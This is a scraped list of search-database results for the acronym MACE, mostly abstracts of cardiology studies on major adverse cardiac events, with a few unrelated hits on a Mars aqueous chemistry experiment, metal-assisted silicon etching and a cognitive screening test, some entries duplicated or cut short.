(United States); Bamberg, Fabian [Cardiac MR PET CT Program, Department of Radiology, Massachusetts General Hospital, Harvard Medical School, Boston, MA (United States); Department of Radiology, University of Munich, Grosshadern Campus, and Munich Heart Alliance, Munich (Germany); Department of Radiology, University of Tuebingen (Germany) 2014-07-15 Highlights: • Patients developing UAP had overall more atherosclerosis as patients without any events. • Patients developing MACE had only more mixed plaque as those developing UAP. • Different atherosclerotic plaque components by CTA carry different prognostic value. - Abstract: Objective: CT angiography (CTA) has prognostic value in patients. But it is unknown whether differences in atherosclerosis by CTA predict the development of unstable angina pectoris (UAP) vs. major adverse cardiac events (MACE). Methods: We followed patients undergoing CTA as part of their acute chest pain work-up. Primary outcome was the development of UAP or MACE (cardiac death, myocardial infarction, revascularization) during a minimum follow-up of 12-months. CTAs were assessed for extent and composition of coronary plaque and stenosis. Ordinal regression with a 3-level outcome (no events, UAP, MACE) was applied. Results: Among 315 patients, 22 developed UAP and 31 MACE. While UAP patients had higher atherosclerosis burden with respect to all assessed features compared to patients with no events (p ≤ 0.02), only mixed plaque extent was significantly different between UAP and MACE patients (p = 0.02). The odds ratio was 4.55 for being in a higher disease-level comparing patients with low extent to those with no mixed plaque, and 3.02 comparing patients with high to those with low. These findings remained after adjustments for potential confounders. Conclusion: The extent of mixed coronary plaque is different between patients who develop UAP vs. MACE, supporting the hypothesis that it is a more culprit morphology. 15. Metabolic syndrome definitions and components in predicting major adverse cardiovascular events after kidney transplantation. Science.gov (United States) Prasad, G V Ramesh; Huang, Michael; Silver, Samuel A; Al-Lawati, Ali I; Rapi, Lindita; Nash, Michelle M; Zaltzman, Jeffrey S 2015-01-01 Metabolic syndrome (MetS) associates with cardiovascular risk post-kidney transplantation, but its ambiguity impairs understanding of its diagnostic utility relative to components. We compared five MetS definitions and the predictive value of constituent components of significant definitions for major adverse cardiovascular events (MACE) in a cohort of 1182 kidney transplant recipients. MetS definitions were adjusted for noncomponent traditional Framingham risk factors and relevant transplant-related variables. Kaplan-Meier, logistic regression, and Cox proportional hazards analysis were utilized. There were 143 MACE over 7447 patient-years of follow-up. Only the World Health Organization (WHO) 1998 definition predicted MACE (25.3 vs 15.5 events/1000 patient-years, P = 0.019). Time-to-MACE was 5.5 ± 3.5 years with MetS and 6.8 ± 3.9 years without MetS (P < 0.0001). MetS was independent of pertinent MACE risk factors except age and previous cardiac disease. Among MetS components, dysglycemia provided greatest hazard ratio (HR) for MACE (1.814 [95% confidence interval 1.26-2.60]), increased successively by microalbuminuria (HR 1.946 [1.37-2.75]), dyslipidemia (3.284 [1.72-6.26]), hypertension (4.127 [2.16-7.86]), and central obesity (4.282 [2.09-8.76]). MetS did not affect graft survival. In summary, although the WHO 1998 definition provides greatest predictive value for post-transplant MACE, most of this is conferred by dysglycemia and is overshadowed by age and previous cardiac disease. © 2014 Steunstichting ESOT. 16. Plaque Structural Stress Estimations Improve Prediction of Future Major Adverse Cardiovascular Events After Intracoronary Imaging. Science.gov (United States) Brown, Adam J; Teng, Zhongzhao; Calvert, Patrick A; Rajani, Nikil K; Hennessy, Orla; Nerlekar, Nitesh; Obaid, Daniel R; Costopoulos, Charis; Huang, Yuan; Hoole, Stephen P; Goddard, Martin; West, Nick E J; Gillard, Jonathan H; Bennett, Martin R 2016-06-01 Although plaque rupture is responsible for most myocardial infarctions, few high-risk plaques identified by intracoronary imaging actually result in future major adverse cardiovascular events (MACE). Nonimaging markers of individual plaque behavior are therefore required. Rupture occurs when plaque structural stress (PSS) exceeds material strength. We therefore assessed whether PSS could predict future MACE in high-risk nonculprit lesions identified on virtual-histology intravascular ultrasound. Baseline nonculprit lesion features associated with MACE during long-term follow-up (median: 1115 days) were determined in 170 patients undergoing 3-vessel virtual-histology intravascular ultrasound. MACE was associated with plaque burden ≥70% (hazard ratio: 8.6; 95% confidence interval, 2.5-30.6; P<0.001) and minimal luminal area ≤4 mm(2) (hazard ratio: 6.6; 95% confidence interval, 2.1-20.1; P=0.036), although absolute event rates for high-risk lesions remained <10%. PSS derived from virtual-histology intravascular ultrasound was subsequently estimated in nonculprit lesions responsible for MACE (n=22) versus matched control lesions (n=22). PSS showed marked heterogeneity across and between similar lesions but was significantly increased in MACE lesions at high-risk regions, including plaque burden ≥70% (13.9±11.5 versus 10.2±4.7; P<0.001) and thin-cap fibroatheroma (14.0±8.9 versus 11.6±4.5; P=0.02). Furthermore, PSS improved the ability of virtual-histology intravascular ultrasound to predict MACE in plaques with plaque burden ≥70% (adjusted log-rank, P=0.003) and minimal luminal area ≤4 mm(2) (P=0.002). Plaques responsible for MACE had larger superficial calcium inclusions, which acted to increase PSS (P<0.05). Baseline PSS is increased in plaques responsible for MACE and improves the ability of intracoronary imaging to predict events. Biomechanical modeling may complement plaque imaging for risk stratification of coronary nonculprit lesions. © 2016 17. Impact of TCFA on Unanticipated Ischemic Events in Medically Treated Diabetes Mellitus: Insights From the PROSPECT Study. Science.gov (United States) Kedhi, Elvin; Kennedy, Mark W; Maehara, Akiko; Lansky, Alexandra J; McAndrew, Thomas C; Marso, Steven P; De Bruyne, Bernard; Serruys, Patrick W; Stone, Gregg W 2017-04-01 18. Prognostic value of CT-derived left atrial and left ventricular measures in patients with acute chest pain Energy Technology Data Exchange (ETDEWEB) 2017-01-15 Highlights: • LV mass and LA diameter are independent prognostic factor for composite MACE. • LV mass and LA diameter were not significant prognostic factors for MACE in African Americans. • Assessment of LV mass by CT may have a role in the management of patients. - Abstract: Purpose: To determine which left atrial (LA) and left ventricular (LV) parameters are associated with future major adverse cardiac event (MACE) and whether these measurements have independent prognostic value beyond risk factors and computed tomography (CT)-derived coronary artery disease measures. Materials and methods: This retrospective analysis was performed under an IRB waiver and in HIPAA compliance. Subjects underwent coronary CT angiography (CCTA) using a dual-source CT system for acute chest pain evaluation. LV mass, LV ejection fraction (EF), LV end-systolic volume (ESV) and LV end-diastolic volume (EDV), LA ESV and LA diameter, septal wall thickness and cardiac chamber diameters were measured. MACE was defined as cardiac death, non-fatal myocardial infarction, unstable angina, or late revascularization. The association between cardiac CT measures and the occurrence of MACE was quantified using Cox proportional hazard analysis. Results: 225 subjects (age, 56.2 ± 11.2; 140 males) were analyzed, of whom 42 (18.7%) experienced a MACE during a median follow-up of 13 months. LA diameter (HR:1.07, 95%CI:1.01–1.13 per mm) and LV mass (HR:1.05, 95%CI:1.00–1.10 per g) remained significant prognostic factor of MACE after controlling for Framingham risk score. LA diameter and LV mass were also found to have prognostic value independent of each other. The other morphologic and functional cardiac measures were no significant prognostic factors for MACE. Conclusion: CT-derived LA diameter and LV mass are associated with future MACE in patients undergoing evaluation for chest pain, and portend independent prognostic value beyond traditional risk factors, coronary calcium score, and 19. Mars aqueous chemistry experiment Science.gov (United States) Clark, Benton C.; Mason, Larry W. 1994-06-01 Mars Aqueous Chemistry Experiment (MACE) is designed to conduct a variety of measurements on regolith samples, encompassing mineral phase analyses, chemical interactions with H2O, and physical properties determinations. From these data, much can be learned or inferred regarding the past weathering environment, the contemporaneous soil micro-environments, and the general chemical and physical state of the Martian regolith. By analyzing both soil and duricrust samples, the nature of the latter may become more apparent. Sites may be characterized for comparative purposes and criteria could be set for selection of high priority materials on future sample return missions. The second year of the MACE project has shown significant progress in two major areas. MACE Instrument concept definition is a baseline design that has been generated for the complete MACE instrument, including definition of analysis modes, mass estimates and thermal model. The design includes multiple reagent reservoirs, 10 discrete analysis cells, sample manipulation capability, and thermal control. The MACE Measurement subsystems development progress is reported regarding measurement capabilities for aqueous ion sensing, evolved gas sensing, solution conductivity measurement, reagent addition (titration) capabilities, and optical sensing of suspended particles. 20. Mars aqueous chemistry experiment Science.gov (United States) Clark, Benton C.; Mason, Larry W. 1994-01-01 Mars Aqueous Chemistry Experiment (MACE) is designed to conduct a variety of measurements on regolith samples, encompassing mineral phase analyses, chemical interactions with H2O, and physical properties determinations. From these data, much can be learned or inferred regarding the past weathering environment, the contemporaneous soil micro-environments, and the general chemical and physical state of the Martian regolith. By analyzing both soil and duricrust samples, the nature of the latter may become more apparent. Sites may be characterized for comparative purposes and criteria could be set for selection of high priority materials on future sample return missions. The second year of the MACE project has shown significant progress in two major areas. MACE Instrument concept definition is a baseline design that has been generated for the complete MACE instrument, including definition of analysis modes, mass estimates and thermal model. The design includes multiple reagent reservoirs, 10 discrete analysis cells, sample manipulation capability, and thermal control. The MACE Measurement subsystems development progress is reported regarding measurement capabilities for aqueous ion sensing, evolved gas sensing, solution conductivity measurement, reagent addition (titration) capabilities, and optical sensing of suspended particles. 1. Prognostic value of coronary atherosclerosis progression evaluated by coronary CT angiography in patients with stable angina International Nuclear Information System (INIS) Gu, Hui; Gao, Yang; Hou, Zhihui; Lu, Bin; Schoepf, U.J.; Snyder, Alan N.; Duguay, Taylor M.; Wang, Ximing 2018-01-01 To investigate the progression of coronary atherosclerosis burden by coronary CT angiography (CCTA) and to demonstrate its association with the incidence of major adverse cardiac events (MACE). We retrospectively studied patients with stable angina who had undergone repeat CCTA due to recurrent or worsening symptoms. Lipid-rich, fibrous, calcified and total plaque burden as well as coronary diameter stenosis were quantitatively analysed. The incidence of MACE during follow-up was determined. The final cohort consisted of 268 patients (mean age 52.9 ± 9.8 years, 71 % male) with a mean follow-up period of 4.6 ± 0.9 years. Patients with lipid-rich, fibrous, calcified and total plaque burden (%) progression, as well as coronary diameter stenosis (%) progression had a significantly higher incidence of MACE than those without (all p < 0.05). The progression of lipid-rich plaque (HR = 1.601, p = 0.021), total plaque burden (HR = 2.979, p = 0.043) and coronary diameter stenosis (HR = 4.327, p <0.001) were independent predictors of MACE (all p < 0.05). Patients presenting with recurrent or worsening symptoms associated with coronary artery disease who have coronary atherosclerosis progression on CCTA are at an increased risk of future MACE. (orig.) 2. Long-term prognostic performance of low-dose coronary computed tomography angiography with prospective electrocardiogram triggering Energy Technology Data Exchange (ETDEWEB) Clerc, Olivier F.; Kaufmann, Basil P.; Possner, Mathias; Liga, Riccardo; Vontobel, Jan; Mikulicic, Fran; Graeni, Christoph; Benz, Dominik C.; Fuchs, Tobias A.; Stehli, Julia; Pazhenkottil, Aju P.; Gaemperli, Oliver; Kaufmann, Philipp A.; Buechel, Ronny R. [University Hospital Zurich, Cardiac Imaging, Department of Nuclear Medicine, Zurich (Switzerland) 2017-11-15 To assess long-term prognosis after low-dose 64-slice coronary computed tomography angiography (CCTA) using prospective electrocardiogram-triggering. We included 434 consecutive patients with suspected or known coronary artery disease referred for low-dose CCTA. Patients were classified as normal, with non-obstructive or obstructive lesions, or previously revascularized. Coronary artery calcium score (CACS) was assessed in 223 patients. Follow-up was obtained regarding major adverse cardiac events (MACE): cardiac death, myocardial infarction and elective revascularization. We performed Kaplan-Meier analysis and Cox regressions. Mean effective radiation dose was 1.7 ± 0.6 mSv. At baseline, 38% of patients had normal arteries, 21% non-obstructive lesions, 32% obstructive stenosis and 8% were revascularized. Twenty-nine patients (7%) were lost to follow-up. After a median follow-up of 6.1 ± 0.6 years, MACE occurred in 0% of patients with normal arteries, 6% with non-obstructive lesions, 30% with obstructive stenosis and 39% of those revascularized. MACE occurrence increased with increasing CACS (P < 0.001), but 4% of patients with CACS = 0 experienced MACE. Multivariate Cox regression identified obstructive stenosis, lesion burden in CCTA and CACS as independent MACE predictors (P ≤ 0.001). Low-dose CCTA with prospective electrocardiogram-triggering has an excellent long-term prognostic performance with a warranty period >6 years for patients with normal coronary arteries. (orig.) 3. Reducing the porosity and reflection loss of silicon nanowires by a sticky tape International Nuclear Information System (INIS) Liu, Junjun; Huang, Zhifeng 2015-01-01 Engineering the porosity of silicon nanowires (SiNWs) is of fundamental importance, and this work introduces a new method for doing so. Metal-assisted chemical etching (MACE) of heavily doped Si(100) creates mesoporous silicon nanowires (mp-SiNWs). mp-SiNWs are transferred from the MACE-treated wafer to a sticky tape, leaving residues composed of broken mp-SiNWs and a mesoporous Si layer on the wafer. Then the taped wafer is re-treated by MACE, without changing the etching conditions. The second MACE treatment generates mp-SiNWs that are less porous and longer than those generated by the first MACE treatment, which can be attributed to the difference in the surface topography at the beginning of the etching process. Less porous mp-SiNWs reduce optical scattering from the porous Si skeletons, and vertically protrude on the wafer without aggregation to facilitate optical trapping. Consequently, less porous mp-SiNWs effectively reduce ultraviolet-visible reflection loss. (paper) 4. Usefulness of Beta2-Microglobulin as a Predictor of All-Cause and Nonculprit Lesion-Related Cardiovascular Events in Acute Coronary Syndromes (from the PROSPECT Study). Science.gov (United States) Möckel, Martin; Muller, Reinhold; Searle, Julia; Slagman, Anna; De Bruyne, Bernard; Serruys, Patrick; Weisz, Giora; Xu, Ke; Holert, Fabian; Müller, Christian; Maehara, Akiko; Stone, Gregg W 2015-10-01 In the Providing Regional Observations to Study Predictors of Events in the Coronary Tree (PROSPECT) study, plaque burden, plaque composition, and minimal luminal area were associated with an increased risk of adverse cardiovascular events arising from untreated atherosclerotic lesions (vulnerable plaques) in patients with acute coronary syndromes (ACS). We sought to evaluate the utility of biomarker profiling and clinical risk factors to predict 3-year all-cause and nonculprit lesion-related major adverse cardiac events (MACEs). Of 697 patients who underwent successful percutaneous coronary intervention (PCI) for ACS, an array of 28 baseline biomarkers was analyzed. Median follow-up was 3.4 years. Beta2-microglobulin displayed the strongest predictive power of all variables assessed for all-cause and nonculprit lesion-related MACE. In a classification and regression tree analysis, patients with beta2-microglobulin >1.92 mg/L had an estimated 28.7% 3-year incidence of all-cause MACE; C-peptide 1.92 mg/L identified a cohort with a 3-year rate of 18.5%, and C-peptide PROSPECT study, beta2-microglobulin strongly predicted all-cause and nonculprit lesion-related MACE within 3 years after PCI in ACS. C-peptide and HDL provided further risk stratification to identify angiographically mild nonculprit lesions prone to future MACE. Copyright © 2015 Elsevier Inc. All rights reserved. 5. Is non-HDL-cholesterol a better predictor of long-term outcome in patients after acute myocardial infarction compared to LDL-cholesterol? : a retrospective study. Science.gov (United States) Wongcharoen, Wanwarang; Sutthiwutthichai, Satjatham; Gunaparn, Siriluck; Phrommintikul, Arintaya 2017-01-05 It has recently been shown that non-high density lipoprotein cholesterol (non-HDL-C) may be a better predictor of cardiovascular risk than low density lipoprotein cholesterol (LDL-C). Based on known ethic differences in lipid parameters and cardiovascular risk prediction, we sought to study the predictability of attaining non-HDL-C target and long-term major adverse cardiovascular event (MACE) in Thai patients after acute myocardial infarction (AMI) compared to attaining LDL-C target. We retrospectively obtained the data of all patients who were admitted at Maharaj Nakorn Chiang Mai hospital due to AMI during 2006-2013. The mean non-HDL-C and LDL-C during long-term follow-up were used to predict MACE at each time point. The patients were classified as target attainment if non-HDL-C LDL-C LDL-C target and 21.2% experienced MACEs. LDL-C and non-HDL-C were directly compared in Cox regression model. Compared with non-HDL-C 130 mg/dl had higher incidence of MACEs (HR 3.15, 95% CI 1.46-6.80, P = 0.003). Surprisingly, LDL-C >100 mg/dl was associated with reduced risk of MACE as compared to LDL LDL-C goal was not associated with the higher risk. Therefore, non-HDL-C may be a more suitable target of dyslipidemia treatment than LDL-C in patients after AMI. 6. The Mini-Addenbrooke's Cognitive Examination: a new assessment tool for dementia. Science.gov (United States) Hsieh, Sharpley; McGrory, Sarah; Leslie, Felicity; Dawson, Kate; Ahmed, Samrah; Butler, Chris R; Rowe, James B; Mioshi, Eneida; Hodges, John R 2015-01-01 We developed and validated the Mini-Addenbrooke's Cognitive Examination (M-ACE) in dementia patients. Comparisons were also made with the Mini Mental State Examination (MMSE). The M-ACE was developed using Mokken scaling analysis in 117 dementia patients [behavioural variant frontotemporal dementia (bvFTD), n = 25; primary progressive aphasia (PPA), n = 49; Alzheimer's disease (AD), n = 34; corticobasal syndrome (CBS), n = 9] and validated in an independent sample of 164 dementia patients (bvFTD, n = 23; PPA, n = 82; AD, n = 38; CBS, n = 21) and 78 controls, who also completed the MMSE. The M-ACE consists of 5 items with a maximum score of 30. Two cut-offs were identified: (1) ≤25/30 has both high sensitivity and specificity, and (2) ≤21/30 is almost certainly a score to have come from a dementia patient regardless of the clinical setting. The M-ACE is more sensitive than the MMSE and is less likely to have ceiling effects. The M-ACE is a brief and sensitive cognitive screening tool for dementia. Two cut-offs (25 or 21) are recommended. © 2014 S. Karger AG, Basel. 7. Long-term prognostic performance of low-dose coronary computed tomography angiography with prospective electrocardiogram triggering International Nuclear Information System (INIS) Clerc, Olivier F.; Kaufmann, Basil P.; Possner, Mathias; Liga, Riccardo; Vontobel, Jan; Mikulicic, Fran; Graeni, Christoph; Benz, Dominik C.; Fuchs, Tobias A.; Stehli, Julia; Pazhenkottil, Aju P.; Gaemperli, Oliver; Kaufmann, Philipp A.; Buechel, Ronny R. 2017-01-01 To assess long-term prognosis after low-dose 64-slice coronary computed tomography angiography (CCTA) using prospective electrocardiogram-triggering. We included 434 consecutive patients with suspected or known coronary artery disease referred for low-dose CCTA. Patients were classified as normal, with non-obstructive or obstructive lesions, or previously revascularized. Coronary artery calcium score (CACS) was assessed in 223 patients. Follow-up was obtained regarding major adverse cardiac events (MACE): cardiac death, myocardial infarction and elective revascularization. We performed Kaplan-Meier analysis and Cox regressions. Mean effective radiation dose was 1.7 ± 0.6 mSv. At baseline, 38% of patients had normal arteries, 21% non-obstructive lesions, 32% obstructive stenosis and 8% were revascularized. Twenty-nine patients (7%) were lost to follow-up. After a median follow-up of 6.1 ± 0.6 years, MACE occurred in 0% of patients with normal arteries, 6% with non-obstructive lesions, 30% with obstructive stenosis and 39% of those revascularized. MACE occurrence increased with increasing CACS (P < 0.001), but 4% of patients with CACS = 0 experienced MACE. Multivariate Cox regression identified obstructive stenosis, lesion burden in CCTA and CACS as independent MACE predictors (P ≤ 0.001). Low-dose CCTA with prospective electrocardiogram-triggering has an excellent long-term prognostic performance with a warranty period >6 years for patients with normal coronary arteries. (orig.) 8. Prognostic value of coronary atherosclerosis progression evaluated by coronary CT angiography in patients with stable angina Energy Technology Data Exchange (ETDEWEB) Gu, Hui [Shandong University, Department of CT, Shandong Provincial Key Laboratory of Diagnosis and Treatment of Cardio-Cerebral Vascular Diseases, Shandong Medical Imaging Research Institute, Jinan, Shandong (China); Chinese Academy of Medical Sciences and Peking Union Medical College, Department of Radiology, Fuwai Hospital, State Key Laboratory of Cardiovascular Disease, National Centre for Cardiovascular Diseases, Beijing (China); Gao, Yang; Hou, Zhihui; Lu, Bin [Chinese Academy of Medical Sciences and Peking Union Medical College, Department of Radiology, Fuwai Hospital, State Key Laboratory of Cardiovascular Disease, National Centre for Cardiovascular Diseases, Beijing (China); Schoepf, U.J.; Snyder, Alan N.; Duguay, Taylor M. [Medical University of South Carolina, Division of Cardiovascular Imaging, Department of Radiology and Radiological Science, Charleston, SC (United States); Wang, Ximing [Shandong University, Department of CT, Shandong Provincial Key Laboratory of Diagnosis and Treatment of Cardio-Cerebral Vascular Diseases, Shandong Medical Imaging Research Institute, Jinan, Shandong (China) 2018-03-15 To investigate the progression of coronary atherosclerosis burden by coronary CT angiography (CCTA) and to demonstrate its association with the incidence of major adverse cardiac events (MACE). We retrospectively studied patients with stable angina who had undergone repeat CCTA due to recurrent or worsening symptoms. Lipid-rich, fibrous, calcified and total plaque burden as well as coronary diameter stenosis were quantitatively analysed. The incidence of MACE during follow-up was determined. The final cohort consisted of 268 patients (mean age 52.9 ± 9.8 years, 71 % male) with a mean follow-up period of 4.6 ± 0.9 years. Patients with lipid-rich, fibrous, calcified and total plaque burden (%) progression, as well as coronary diameter stenosis (%) progression had a significantly higher incidence of MACE than those without (all p < 0.05). The progression of lipid-rich plaque (HR = 1.601, p = 0.021), total plaque burden (HR = 2.979, p = 0.043) and coronary diameter stenosis (HR = 4.327, p <0.001) were independent predictors of MACE (all p < 0.05). Patients presenting with recurrent or worsening symptoms associated with coronary artery disease who have coronary atherosclerosis progression on CCTA are at an increased risk of future MACE. (orig.) 9. Visit-to-visit blood pressure variability as a prognostic marker in patients with cardiovascular and cerebrovascular diseases--relationships and comparisons with vascular markers of atherosclerosis. Science.gov (United States) Lau, Kui Kai; Wong, Yuen Kwun; Chan, Yap Hang; Teo, Kay Cheong; Chan, Koon Ho; Wai Li, Leonard Sheung; Cheung, Raymond Tak Fai; Siu, Chung Wah; Ho, Shu Leong; Tse, Hung Fat 2014-07-01 Visit-to-visit blood pressure variability (BPV) is a simple surrogate marker for the development of atherosclerotic diseases, cardiovascular and all-cause mortality. Nevertheless, the relative prognostic value of BPV in comparison with other established vascular assessments remain uncertain. We prospectively followed-up 656 high-risk patients with diabetes or established cardiovascular or cerebrovascular diseases for the occurrence of major adverse cardiovascular events (MACEs). Baseline brachial endothelial function, carotid intima-media thickness (IMT) and plaque burden, ankle-brachial index and arterial stiffness were determined. Visit-to-visit BPV were recorded during a mean 18 ± 9 outpatient clinic visits. After a mean 81 ± 12 month's follow-up, 123 patients (19%) developed MACEs. Patients who developed a MACE had significantly higher systolic BPV, more severe endothelial function, arterial stiffness and systemic atherosclerotic burden compared to patients who did not develop a MACE (all Parea under receiver operating characteristic curve (AUC) 0.69 ± 0.03, PAUC 0.65 ± 0.03, P<0.01). After adjustment of confounding factors, a high BPV remained a significant independent predictor of MACE (hazards ratio 1.67, 95% confidence interval 1.14-2.43, P<0.01). Compared with established surrogate markers of atherosclerosis, visit-to-visit BPV provides similar prognostic information and may represent a new and simple marker for adverse outcomes in patients with vascular diseases. Copyright © 2014 Elsevier Ireland Ltd. All rights reserved. 10. Cardiovascular safety of liraglutide assessed in a patient-level pooled analysis of phase 2: 3 liraglutide clinical development studies. Science.gov (United States) Marso, Steven P; Lindsey, Jason B; Stolker, Joshua M; House, John A; Martinez Ravn, Gabriela; Kennedy, Kevin F; Jensen, Troels M; Buse, John B 2011-07-01 We assessed the cardiovascular safety of liraglutide, a glucagon-like peptide-1 receptor agonist, using existing clinical data. Patient-level results from all completed phase 2 and 3 studies from the liraglutide clinical development programme were pooled to determine rates of major adverse cardiovascular events (MACE): cardiovascular death, myocardial infarction, stroke. MACE were identified by querying the study database using Medical Dictionary for Regulatory Activities (MedDRA) terms combined with serious adverse events recorded by study investigators. Broad, narrow, and custom groups of MedDRA queries were used. Candidate events from each query were independently adjudicated post hoc. In 15 studies (6638 patients; 4257 liraglutide treated), there were 114 patients with MACE identified using the broad MedDRA query. Of these, 44 were classified as serious adverse events and 39 were adjudicated as MACE. The incidence ratio for adjudicated broad/serious MACE associated with liraglutide was 0.73 (95% CI 0.38-1.41) versus all comparator drugs (metformin, glimepiride, rosiglitazone, insulin glargine, placebo), within cardiovascular safety limits defined by the United States Food & Drug Administration for diabetes therapies under current investigation. 11. Comparison of Outcomes in Patients With Versus Without Diabetes Mellitus After Revascularization With Everolimus- and Sirolimus-Eluting Stents (from the SORT OUT IV Trial) DEFF Research Database (Denmark) Jensen, Lisette Okkels; Thayssen, Per; Junker, Anders 2012-01-01 Diabetes is associated with increased risk of major adverse cardiac events (MACEs) after percutaneous coronary intervention. The purpose of this substudy of the SORT OUT IV trial was to compare clinical outcomes in patients with and without diabetes mellitus treated with everolimus-eluting stents...... (EESs) or sirolimus-eluting stents (SESs). In total 2,774 patients (390 with diabetes, 14.1%) were randomized to stent implantation with EESs (n = 1,390, diabetes in 14.0%) or SESs (n = 1,384, diabetes in 14.2%). Randomization was stratified by presence/absence of diabetes. The primary end point...... was MACEs, a composite of cardiac death, myocardial infarction, definite stent thrombosis, or target vessel revascularization within 18 months. MACEs were higher in diabetic than in nondiabetic patients (13.1% vs 6.4%, hazard ratio [HR] 2.08, 95% confidence interval [CI] 1.51 to 2.86). In diabetic patients... 12. Blood Glucose Reduction by Diabetic Drugs with Minimal Hypoglycemia Risk for Cardiovascular Outcomes DEFF Research Database (Denmark) Huang, Chi-Jung; Wang, Wei-Ting; Sung, Shih-Hsien 2018-01-01 of antidiabetic drugs with less hypoglycemia risk were comprehensively searched in MEDLINE, Embase, and the Cochrane Library up to January 27, 2018. Mixed-effects meta-regression analysis was conducted to explore the relationship between haemoglobin A1c (HbA1c) reduction and the risk of major adverse...... concentration was 0.42% lower (median, 0.27-0.86%) for participants given antihyperglycemic agents than those given placebo. The meta-regression analysis demonstrated that HbA1c reduction was significantly associated with a decreased risk of MACE (β value, -0.39 to -0.55; P...-40%) for MACE. By contrast, the meta-regression analysis for trials using conventional agents failed to demonstrate a significant relationship between achieved HbA1c difference and MACE risk (P>0.74). CONCLUSIONS: Compared with placebo, newer T2D agents with less hypoglycemic hazard significantly reduced... 13. Association of β-Blocker Therapy With Risks of Adverse Cardiovascular Events and Deaths in Patients With Ischemic Heart Disease Undergoing Noncardiac Surgery DEFF Research Database (Denmark) 2014-01-01 IMPORTANCE: Clinical guidelines have been criticized for encouraging the use of β-blockers in noncardiac surgery despite weak evidence. Relevant clinical trials have been small and have not convincingly demonstrated an effect of β-blockers on hard end points (ie, perioperative myocardial infarction......, ischemic stroke, cardiovascular death, and all-cause death). OBJECTIVE: To assess the association of β-blocker treatment with major cardiovascular adverse events (MACE) and all-cause mortality in patients with ischemic heart disease undergoing noncardiac surgery. DESIGN, SETTING, PARTICIPANTS, AND EXPOSURE...... to calculate the 30-day risks of MACE (ischemic stroke, myocardial infarction, or cardiovascular death) and all-cause mortality associated with β-blocker therapy. MAIN OUTCOMES AND MEASURES: Thirty-day risk of MACE and all-cause mortality. RESULTS: Of 28,263 patients with ischemic heart disease undergoing... 14. The relationship between duration of psoriasis, vascular inflammation, and cardiovascular events DEFF Research Database (Denmark) Egeberg, Alexander; Skov, Lone; Joshi, Aditya A. 2017-01-01 of psoriasis duration [hazard ratio, 1.010; 95% confidence interval, 1.007-1.013]). Limitations These studies utilized observational data. Conclusion We found detrimental effects of psoriasis duration on vascular inflammation and MACE, suggesting that cumulative duration of exposure to low-grade chronic......Background Psoriasis is associated with risk of cardiovascular (CV) disease (CVD) and a major adverse CV event (MACE). Whether psoriasis duration affects risk of vascular inflammation and MACEs has not been well characterized. Objectives We utilized two resources to understand the effect...... of psoriasis duration on vascular disease and CV events: (1) a human imaging study and (2) a population-based study of CVD events. Methods First, patients with psoriasis (N = 190) underwent fludeoxyglucose F 18 positron emission tomography/computed tomography (duration effect reported as a β... 15. Diastolic dysfunction revisited DEFF Research Database (Denmark) Johansen, Niklas Dyrby; Biering-Sørensen, Tor; Jensen, Jan Skov 2017-01-01 BACKGROUND: Echocardiographic classification of DDF has been widely discussed. The aim of this study was to investigate the independent prognostic value of established echocardiographic measures in a community-based population and create a new classification of DDF. METHODS: Within the Copenhagen...... City Heart Study, a prospective, community-based study, 1851 participants were examined by echocardiography including Tissue Doppler Imaging (TDI) in 2001 to 2003 and followed with regard to MACE (median, 10.9 years). RESULTS: We found that persons with impaired myocardial relaxation as defined by low.......97 (1.13-3.45, P=.017), E/e' ≥ 17 (HR 1.89 (1.34-2.65), P2 (HR 5.24 (1.91-14.42), P=.001) provided additional and independent prognostic information on MACE. Based on these findings, we created a new classification of DDF where all grades were significant predictors of MACE independently... 16. Combined Value of Red Blood Cell Distribution Width and Global Registry of Acute Coronary Events Risk Score for Predicting Cardiovascular Events in Patients with Acute Coronary Syndrome Undergoing Percutaneous Coronary Intervention. Directory of Open Access Journals (Sweden) Na Zhao Full Text Available Global Registry of Acute Coronary Events (GRACE risk score and red blood cell distribution width (RDW content can both independently predict major adverse cardiac events (MACEs in patients with acute coronary syndrome (ACS. We investigated the combined predictive value of RDW and GRACE risk score for cardiovascular events in patients with ACS undergoing percutaneous coronary intervention (PCI for the first time. We enrolled 480 ACS patients. During a median follow-up time of 37.2 months, 70 (14.58% patients experienced MACEs. Patients were divided into tertiles according to the baseline RDW content (11.30-12.90, 13.00-13.50, 13.60-16.40. GRACE score was positively correlated with RDW content. Multivariate Cox analysis showed that both GRACE score and RDW content were independent predictors of MACEs (hazard ratio 1.039; 95% confidence interval [CI] 1.024-1.055; p < 0.001; 1.699; 1.294-2.232; p < 0.001; respectively. Furthermore, Kaplan-Meier analysis demonstrated that the risk of MACEs increased with increasing RDW content (p < 0.001. For GRACE score alone, the area under the receiver operating characteristic (ROC curve for MACEs was 0.749 (95% CI: 0.707-0.787. The area under the ROC curve for MACEs increased to 0.805 (0.766-0.839, p = 0.034 after adding RDW content. The incremental predictive value of combining RDW content and GRACE risk score was significantly improved, also shown by the net reclassification improvement (NRI = 0.352, p < 0.001 and integrated discrimination improvement (IDI = 0.023, p = 0.002. Combining the predictive value of RDW and GRACE risk score yielded a more accurate predictive value for long-term cardiovascular events in ACS patients who underwent PCI as compared to each measure alone. 17. The relationship between duration of psoriasis, vascular inflammation, and cardiovascular events. Science.gov (United States) Egeberg, Alexander; Skov, Lone; Joshi, Aditya A; Mallbris, Lotus; Gislason, Gunnar H; Wu, Jashin J; Rodante, Justin; Lerman, Joseph B; Ahlman, Mark A; Gelfand, Joel M; Mehta, Nehal N 2017-10-01 18. Mini mental state examination and the Addenbrooke's cognitive examination: effect of education and norms for a multicultural population. Science.gov (United States) Mathuranath, P S; Cherian, Joseph P; Mathew, Robert; George, Annamma; Alexander, Aley; Sarma, Sankara P 2007-01-01 To derive population norms on the Malayalam adaptation of Addenbrooke's Cognitive Examination (M-ACE) and the inclusive Malayalam mini mental state examination (M-MMSE). Education-stratified norms were obtained on randomly selected cognitively unimpaired community elders (n = 519). Valid data on norms was available on 488 subjects (age 68.5 +/- 7.1 and education 7.9 +/- 5.4). Education and age, but not gender had a significant effect on both M-ACE and M-MMSE. When compared to the effect of age, the effect of education was sevenfold more on the M-ACE and ninefold more on the M-MMSE. The mean composite score on the M-ACE (and the M-MMSE) was 42.8 +/- 9.8 (14.9 +/- 3.1) for those with 0 (n = 72), 55.9 +/- 12.5 (19.7 +/- 4.1) with 1-4 (n = 96), 62.6 +/- 11.4 (21.9 +/- 3.7) with 5-8 (n = 81), 77 +/- 10.2 (25.7 +/- 2.4) with 9-12 (n = 136) and 83.4 +/- 7.2 (26.7 +/- 1.6) with > 12 (n = 103) years of 